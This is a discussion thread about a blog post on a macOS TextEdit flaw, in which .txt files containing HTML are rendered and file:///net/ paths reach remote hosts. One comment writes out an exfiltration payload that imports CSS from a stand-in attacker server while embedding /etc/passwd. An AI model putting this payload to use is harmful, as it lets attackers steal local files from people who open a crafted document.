Man who thought opening a TXT file is fine thought wrong
paulosyibelo.com
paulosyibelo.com
...but the fact that file:// schemes can access remote files by appending /net/ followed by a domain name is pretty shocking.
I mean, the entire purpose of "file://" would seem to be to provide access to local/mounted files and only those.
The fact that a Mac engineer thought it would be a great "feature" to allow file:// to access the entire internet is... kinda terrifying. Did that get patched, or was it only TextEdit?
Because why would you be connected to the internet all the time? And how could you even afford those long distance calls?
That one East German guy in Cliff Stoll's The Cuckoo's Egg found a creative answer for both of those.
Unfortunate that the author didn’t mention this.
Obviously this doesn’t excuse the bug, but it’s important to contextualize if we hope to compare relative impact and have frank discussions.
Except we have some grandfathered file types that are implicitly trusted.
until ... one day ... they are!
For instance the dropbox binary can only access "/home/dropbox" and "/net/dropbox.com" if this was more well-known/used.
In POSIX we only generally get a user/group level of granularity which seems to practically mean that only daemons are completely isolated.
I honestly don't understand how anyone with at least a basic understanding of how OSes are designed and operated could ever arrive at that conclusion. The layers of wrong assumptions required to support that assertion are in the level of "not even wrong" confusions.
Would be nice if the operating system could set up a fresh, temporary "user" for each application installed, and instead run the application as that user, who starts out with no access to computing resources. Maybe some existing systems already sandbox apps into their own unprivileged users, I don't know, but it would probably be very secure.
But often when such sandboxes are attempted, it turns out that it often became more complex than originally thought, and applications need many resources which were not originally considered, so they are given those resources, and very often those resources can be used again to construct more resources or otherwise to some measure escape the sandbox.
-- https://twitter.com/TartanLlama/status/1375045731644538882
I fail to see how HTTP and REST's "everything is a resource" paradigm is significantly different than UNIX's "everything is a file" paradigm, and I'm yet to see anyone claim that the freedom and power to open any HTML document (OMG a file!) made available through the internet is a mistake or a bad design decision.
On the other side Unix has users and permissions, HTTP does not and you have to build your own.
Not that shocking. Windows has had that with SMB networking for ages file://SMBSERVERNAME/path/file . Linux somewhat supports /dev/tcp/HOSTNAME/PORT (technically that's application level in bash so not everywhere), and im sure there's daemons you could run to automount things on the fly.
Can’t trust these two or ,,, who can we trust for network security.
Do note that this has been disabled in the major distributions at compile time for pretty much ever. The debian bug to build bash with that feature by default is ~20 years old (and was closed as wontdo).
Terminal 1
$ echo hi > /dev/tcp/127.0.0.1/9999
Terminal 2
$ nc -vvvlp 9999
Listening on [0.0.0.0] (family 2, port 9999)
Connection from 127.0.0.1 57540 received!
hi
$Whereas a domain name over the open internet is an entirely different story.
>the default text reader on OSX, TextEdit is used to open files with TXT extension by default.
>Gatekeeper doesn’t quarantine TXT files
This is the only story here. Everything else sounds like clueless hyperboles.
It's always seemed strange that an application called TextEdit is actually more than a text editor. I strongly believe that content-type autodetection, much less HTML rendering(!), most certainly does not belong in a text editor.
Your opinion is that you like TextEdit for what it is.
Neither opinion/feeling is relevant.
You can make security bugs in simple tools - this security bug is not purely a function of the number of target use-cases.
Nor do you have any rational basis for asserting that the given app "should only do one [thing]".
https://security.stackexchange.com/questions/56307/can-cat-i...
VS Code is cool and all, but it definitely is a lot more manual and laborious than VS. the tooling and automation in VS is missed if you’re used to it.
I’d go as far as to call it negligent, not merely strange.
(Though in fairness, text editors do usually have special casing for file extensions and these days tools like ls will colour filenames based on the extension.)
TextEdit.app is the OpenStep rewrite of Edit.app and dates to the mid 1990s. It was likely one of the first OpenStep apps. It supported the same rich text files as the original Edit.app.
Apple bought NeXT, OpenStep became Cocoa, TextEdit was ported to Java, and then back to garbage collected Objective-C, then ARC Objective-C, (then Swift, probably).
Along the way it picked up features for reading/writing/editing HTML and Microsoft Word documents.
Apple used to publish the source code for TextEdit as part of their Xcode sample code, but they stopped a few years ago.
Wait, what? Wow, that’s nuts!
But AppKit was still pure Objective-C, and bridging between AppKit's Obj-C APIs and the Java language presented problems. 3rd-party developers (eventually) preferred the write directly in Objective-C and Apple dropped the Java bridge some years later.
The URL still works if you want it, but, yeah, it's obviously not up-to-date:
https://developer.apple.com/library/archive/samplecode/TextE...
> (then Swift, probably).
Not yet at least; there's no Swift symbols in the binary on Big Sur.
NeXT used Display PostScript for the display manager. If you opened an email that had PostScript commands, the mail agent would happily, automatically, execute them.
A favorite payload sent around the computer lab would smear all pixels downward to "melt" whatever was rendered on your display.
Note that there weren't that many interesting things to exfiltrate back then, so this wasn't a terrible default: there wasn't (any!) online commerce, online banking was rare, and even passwords were never echoed to the terminal.
Some systems (specifically, earlier versions of SGI IRIX) shipped with X authorization disabled by default. This is the equivalent of "xhost +". You could sniff a box as soon as it was plugged into the network, including capturing login session credentials, all terminal commands, and anything else. When they su'd to root, yes, you'd capture the root password.
In those days (mid 90's) almost nobody was running firewalls. At least, nobody in these parts. Putting your "office on the Internet" meant raw, unfiltered IP.
Do MacOS and Ubuntu ship with firewalls?
MacOS and Ubuntu ship with firewalls, though not sure if they're enabled by default.
(For those that might not be aware of it : with IPv6, there's no NAT, since there's no need for it.)
It's perfectly reasonable to expect a text editor to support more than literal unicode, and to work with a variety of commonly-used formats.
The blog post states that the contents of said "text file" were quite literally <!DOCTYPE HTML><html><head></head><body>
This is not a mere text file. At all. This is a HTML document that might be deemed valid by a very permissive validator.
Just because HTML might be stored in a text file that does not mean that a noncompliant HTML file ceases to be a HTML file.
One might, possibly, still argue about the text encoding of a .txt file (I’m old enough to remember Unicode being a new fancy alternative to ASCII), but that’s about it.
[0] Sometimes I reminisce about the good old days of classic Mac OS, with resource forks and separate file type metadata: https://en.wikipedia.org/wiki/Resource_fork
That statement is quite wrong and shows a good dose of ignorance. To start off in UNIX systems the extension means nothing regarding whether a file is an executable or not. All it takes is a +x flag and a file format (header, magic number) that can be executed.
Also, file extensions mean nothing. In fact, a popular and very basic trick to fool clueless users to run malware (and one which any anti-malware tool checks) is to sneak executables with a different extension, because it only means something to clueless users.
And a file with a txt file extensions means nothing at all. The only thing that matters is the file content and it's file permissions.
Opening HTML files and converting them to rich text certainly does belong as a valid feature for a rich text editor. It'll open and convert Word files too, which is super useful.
The content-type autodetection, however, I agree was a bad idea. Still, this vulnerability presumably existed with an .html file opened in TextEdit.
It wouldn't have been as bad though. From the article:
>Gatekeeper doesn’t quarantine TXT files
So real question. Is TextEdit a default text editor in a mac?
Anyone with networked filesystems, I should imagine?
You're either missing the point made by GP or being disingenuous. Please keep in mind that you need to explicitly mount a NFS before you're able to open it, and mounting a NFS not only requires explicit authorization but also only provides access to a specific file system mounted in a specific point following specific permissions.
Accessing the whole internet through file:// without being prompted for permissions or consent or even awareness is an entirely different thing. For starters, the access is not explicit nor subjected to conditions.
> visible and understandable
False. Something is neither visible nor understandable if it's misleading - which file extensions are. There are absolutely no guarantees that a file extension will match file contents, and that assumption can cause security risks - like in this article.
An actually good alternative is to encode file type as metadata, instead of inside the file contents or file-name, and then configure viewers to display it. That, while not "simple", is also visible and understandable to the user, while simultaneously being safe.
Only in software that ignores the extension.
> An actually good alternative is to encode file type as metadata, instead of inside the file contents or file-name, and then configure viewers to display it. That, while not "simple", is also visible and understandable to the user, while simultaneously being safe.
Metadata can be just as wrong as a file extension, and is generally far less visible.
No, only in software that blindly follows file extensions.
The exact same thing would happen with metadata - indeed file extensions are just a form of metadata - if the metadata says this is a text file but the application ignores it, we would have the exact same issue.
They are not far better than the alternatives, it's just that no alternative reached a critical mass due to them not being how Windows works.
On the contrary, they're the only kind of metadata that doesn't get mangled when files are moved around, and they're far less of an attack vector than other approaches. Of course you can set the wrong file type, but no approach avoids that problem.
The problems occur when a file, that is said to be of a certain filetype, is erronously treated as something else.
When they shoehorned the ShellExecute behavior into cmd.exe, they basically just said "if (!CreateProcess(foo)) {ShellExecute (foo)}"
As a result, if you take "foo.exe" and rename it "foo.txt" then try to run it like "C:\>foo.txt" from the command line, it will run as an executable instead of opening in Notepad like you would expect. Do the same with a real text file (that doesn't start with "MZ") and it opens in Notepad.
It's frustrating when I instinctively change a file extension on Windows so I can do some other operation with it (say changing a configuration file to .txt to edit it) and Windows still doesn't know what to do with it.
I'm not averse to the behavior, I just wish I could control when it happens.
Why should the filetype be dependent on the name? People even think renaming a .BMP to .JPG means now it's a compressed file!
Old school Macs stored the filetype outside of a file, so you can rename the file "grandkids.mp4" and double-clicking it would still open it in the image viewer.
Classic Palm OS used an identical scheme, and for both platforms there was a freeware "ResEdit" application you could find to let you edit resource forks without paying for a real developer toolkit.
OS-X dropped it for good reason.
This makes me sad - it was dropped because of problems with other operating systems, not because it was necessarily a bad architecture.
I understand why they would do it, but it makes you wonder how much better our systems could be if it weren't for concerns about legacy.
No, it was dropped because it was designed without enough forethought given to how that metadata would be transmitted over the wire or when multiple files were bundled consistently. Even if every OS used this scheme a better solution to these problems would have to have been devised.
Are extensions perfect? No, they suck. But yet solve this metadata transfer problem "good enough" and therefore won the war.
PS - There was also a lack of user management tools/feedback on a lot of systems, for example changing the "file type" was often impossible out of the box, and the file types often unclear unless you went into details/properties on purpose (a potential security headache, up there with hidden extensions ala Windows).
I think there's a location in the new settings for listing all file type associations, but it still doesn't allow copy/pasting paths for multiple fast modifications. If you want to change the name of a file type as it appears in the file type column in explorer, or want to change the icon used for a type of file to something other than that of the application used to open it, that's no longer possible without editing the registry.
Concern for legacy is the only thing keeping the field of computing sane these days. If every operating system worked with radically different standards for basic things like filesystems, a significant amount of bespoke work would need to go into each build of every piece of software, and we could very quickly encounter a monopoly scenario where only the rich could afford to develop apps for everyone. All of this is not to say that there aren't already systems doing this: Haiku and Plan-9 are about as esoteric and non-conformant as they get, and their reward for that is a minuscule but dedicated userbase. If Apple wants to make the computer a better experience for the end user, then they're going to have to play ball.
Proprietary, opaque mechanisms like resource forks only serve to keep users uninformed (and thus unlearning) and impede the free interchange of information between different applications.
(If you had a safe content-detection code-path -- admittedly a harder thing to guarantee these days -- that could certainly be safer than relying on users to not "open grandkids.bmp.exe" or "rename a downloaded.txt to autoexec.bat".)
Filenames exist to provide context for the data inside. "Draft 2020 Quarterly Report.txt" and "Draft 2020 Quarterly Report.csv" could contain the exact same data, but the file extension indicates how the file is intended to be used, just as "2020" indicates the relevant year and "Draft" indicates completeness.
So if you downloaded a GIF file of a cute cat, it would open in your image viewer, but if you were working on drawing your own GIF image, it would open up in your image editor.
But the file extension partially reflects a user's intentions. A stylesheet named "style.css" is intended to be used by a browser directly, whereas one named "style.scss" is expected to go through a preprocessor, but the two might have the exact same contents, and I might decide to just change one to the other, and that's okay.
I take your point about permissions, which are expected to be set by the user. Of course, I actually run into problems caused by incorrect permissions all the time. Maybe it would be better to encode those in the file name! (Although I don't know how you'd do it without creating a mess, and potentially security issues.)
Lots of programs create temporary files by changing the extension temporarily but if the kernel were attempting to intercept and change the internal data you could never guarantee the state of your file data. Not to mention potentially renaming an extension to an automatically handled extension and having that data irrevocably altered without you even realizing it.
Then of course there's the fact that there are usually lots of options associated with converting a file. Jpg needs visual compression levels, mp3 needs bitrates, etc.
Luckily the spacebar behaviour remains untouched, but you shouldn't have to experiment with each and every snowflake webpage just to have the default actions act as you would expect.
It's not the author's fault necessarily. Well, they _did_ choose the template and decided to keep it. But the template comes from a company who targets WP templates towards Female Entrepreneurs, most likely in a bid to win some slice of Google's keyword share with "Feminine Blogger Templates". Not sure what my point is, except that maybe they are incredibly out of touch with a lot of things these days. And I'll it there. This is turning into an unintended stream-of-though rant. Sorry!
It's actually insane.
I find this kind of annoying. Either write about the vulnerability or don't.
2nd vulnerability is that you can print a password file (or other file) inside the text editor
<iframedoc src="file:///etc/passwd">
A dangling markup attack is an attack that sends you information as part of the url request up to the next quote
So you could do this and someone has sent you the contents of the password file when trying to get css
<style>@import{ "file:///net/MYSERVER.COM/stealpassword.css?=<iframedoc src="file:///etc/passwd">"} </style>
But my broader point was less the how, and more that the style of writing was obnoxious.
* https://github.com/cure53/HTTPLeaks
There are a lot of ways HTML can leak information. HTTPLeaks is an attempt to create a test for all such leaks. Unfortunately, people keep inventing new ways for HTML interpretation to leak data. The article describes a particularly clever approach accidentally implemented by Apple.
So you what you are saying is basically 'do not open any files or websites you don't trust' - which is usually not what people expect as that would basically mean 'don't use your computer'
edit: comment hidden, probably due to new account. Leaving it up just for reference
I too am curious for more details about this. Where did this feature come from, how has it been used, has it actually been used?
Is AutoMount/AutoFS still there after this CVE patch? Does it indeed circumvent Access Control or other such things? Is it a likely path for other security problems?
It's pretty common on Unix-like systems (especially in multi-user environments) and not at all specific to macOS.
References:
https://wiki.archlinux.org/index.php/autofs
https://www.freebsd.org/cgi/man.cgi?query=autofs&sektion=5
https://access.redhat.com/documentation/en-us/red_hat_enterp...
Anyway, if this is how TextEdit got around macos access controls related to network activity, I wonder if this is a route for other apps, including malicious ones, to get around it too?
> After digging into OSX internals, I came across the AutoMount feature that lets file:/// urls make remote requests. AutoFS is a program on OSX that uses the kernel to make a mounting request to a drive. Automount can also make remote requests to an external drive. Doing 'ls /net/EXAMPLE.com' forces OSX send a remote request to EXAMPLE.com
> While they did a good job blocking TextEdit from making external requests, this was the one thing they forgot when they allowed file:/// scheme, on OSX file:///net/11.22.33.44/a.css connects to 11.22.33.44.
Both will follow normal network file access controls in their respective environments.
As for the why? It’s a really easy way of sharing resources between computers, and also way more efficient and easier to manage than static mounts.
However, since you asked, here is some useless information:
With /net or remote filesystems in general (NFS and SMB), the network accesses are performed by the kernel directly, rather than by the application using networking syscalls. Therefore, sandboxing network access from specific applications won't affect it.
Big Sur doesn't actually have a permission dialog for network access. But TextEdit does use the (long-existing) App Sandbox system, which is based on applications statically declaring permissions they need. Since TextEdit doesn't request a networking entitlement, it's prohibited from accessing the network directly; as I said, that doesn't include remote filesystems.
> Man who thought opening a TXT file in TextEdit is fine thought wrong
There are many, many text editors out there that would not attempt to parse HTML upon opening a text file.
> Man who thought TextEdit could be trusted as a plain text editor is wrong
This is one more example of what I find so frustrating about macOS, which is all those hidden little features trying to be "smart" and "user friendly" just in case I the user do not really know what I'm doing.
I hate this about TextEdit. Is there a way to turn auto-formatting off? If I paste text, I want it to be stripped of any imported formatting.
> we have previously seen memory corruption bugs leading to RCE by Tavis Ormary in Microsoft Notepad
Wouldn't this just beach ball TextEdit, which you could force quit and carry on?
I wish there was more elaboration on this. Opening a downloaded file without user interaction sounds pretty bad.
Why is "force-download" even a thing? IMO the browser should always ask before downloading any file. Though this is not a unique Mac thing, I believe Chrome does that everywhere.
Well, what's a file type unless you know it from context, for example a special file system attribute that set to "text/html"? Heuristics. At the very least I think it's better to ignore file "extensions" completely when dealing with the data inside than to make it the deciding factor.
libmagic, which powers a lot of file(1)'s work, is called libmagic for several reasons.
FYI: The year part of a CVE ID is either when the ID was assigned or when the issue was publicised: https://cve.mitre.org/about/faqs.html#year_portion_of_cve_id
Not (as I had assumed) when the vulnerable software was first published.
printf '<!DOCTYPE HTML><html><head></head><body>' > test.txt
Opening test.txt shows the exact code I printed. Am I missing something?Some odd things are going on here though. The file is listed as “locked” when I open it, and if as TextEdit to unlock it, it fixes the file extension.
Also, people not served by textedit are pretty niche.
so does the crayon color picker. at least it did in older versions of the OS. haven't looked at it in a reallly long time, as it was def a gimmick more than function
Most of us can't, but paint has all the tools, which is very helpful in many situations.
You want to draw? Use Notes, which has very little but enough to draw a quick idea you just had.
mspaint.exe is as close to a perfect software as I have ever seen. I'm curious to know which program you think is better, because I'm sure very few exist.
These moments were two of the first wherein I strongly reconsidered whether I had made the right career choices.
Just weighing the pros and cons here:
Pro: People who don't have smooth scrolling mouses will suddenly enjoy smooth scrolling on this website. Even this is a questionable "pro". Most people have scrolling setup how they want it and don't need it fixed on a per-website basis.
Con: Degradating a core function of the computer (scrolling) for people who already have smooth scrolling.
So to summarize: The plugin is not helping anyone read the blog, but it is preventing/annoying many people from reading it.
It is infuriating because this is solveable in many ways, the simplest being not to push during a mouseDown event.
But my new most hated thing is Google lazy showing details when I mouse over a result. Which means if I quickly go to click on the second link I mouse past the first link and it expands to the space where the second link was, so I either click the wrong link or have to reorient and then click the second link. I can't imagine how or why that feature exists.
https://news.ycombinator.com/newsguidelines.html
(Note: I'm not saying such things aren't annoying—it's the opposite—which is why we need a site guideline to prevent discussions from being dominated by them.)
Sure, you know this is a simple txt file, so anything can come into it, right? There is no such thing as malicious txt file.
Mitigates `iloveyou`[1] virus type attacks on my system
By version, MacOSX is faring worse.
By total history despite a good chunk of old Windows malware not being net capable or able to run in current modes... perhaps.
https://www.vox.com/recode/2020/2/12/21134681/mac-pc-virus-m...
Safety by virtue of running MacOSX isn't enough anymore. Not that I'd argue it ever was totally safe/enough in the first place.
Bad habits are what subject one to attacks more than anything else... and that's basically what Apple cultivated in their users through ignorance of threat mechanisms.
This. 100 times this. The end user is the weakest link in your security chain, and the way Apple implements abstraction in MacOS makes it really difficult for the end user to understand what exactly they're doing, and what effect it has on their overall security.
I use neither of these operating systems on a daily basis, but I think you'd be surprised by how secure Windows is these days. It's by no means perfect, but it does a pretty good job of staying secure, even as the #1 desktop operating system in the world. Now if only Microsoft could make a secure desktop that was any good... wishful thinking.
What do you mean by this? As a percentage of malware it's not even close, Windows is far and away the most targeted platform: https://www.pcmag.com/news/windows-computers-account-for-83-...
Really I don't think you can draw any big comparisons here anymore nowadays - Apple's security on mac OS is sandboxing and signing, the latter of which power users will have turned off and the prior being inapplicable in this case.
This led to decades of bad online practices on the part of Mac users, thinking that by virtue of using an Apple computer, they were immune to such attacks they deemed exclusive to 'viruses.' Malware was for someone else, they'd argue. Because they don't get viruses, they were fine.
As a result, one of the largest botnets for a time was a MacOS one. Flashback.
https://en.wikipedia.org/wiki/Flashback_(Trojan)
The headline isn't needlessly dramatic. It's dramatic enough to prove a point. Bad habits and lack of safe file handling is the most guaranteed way one opens themselves up to attack vectors such as the one demonstrated in the article.
points / (time_in_hours+1)^1.5 * lot_of_penalties
where 1.5 is a number that may change from time to time without warning, perhaps now it's 1.6 or something like that.The number of comments does not matter, unless the post has too much more comment than points, and the site adds a penalty.
There are a lot of automatic and manual penalties added by the mods, and also added by the flags of the users. Most of the details are part of the secret sauce and change from time to time without warning.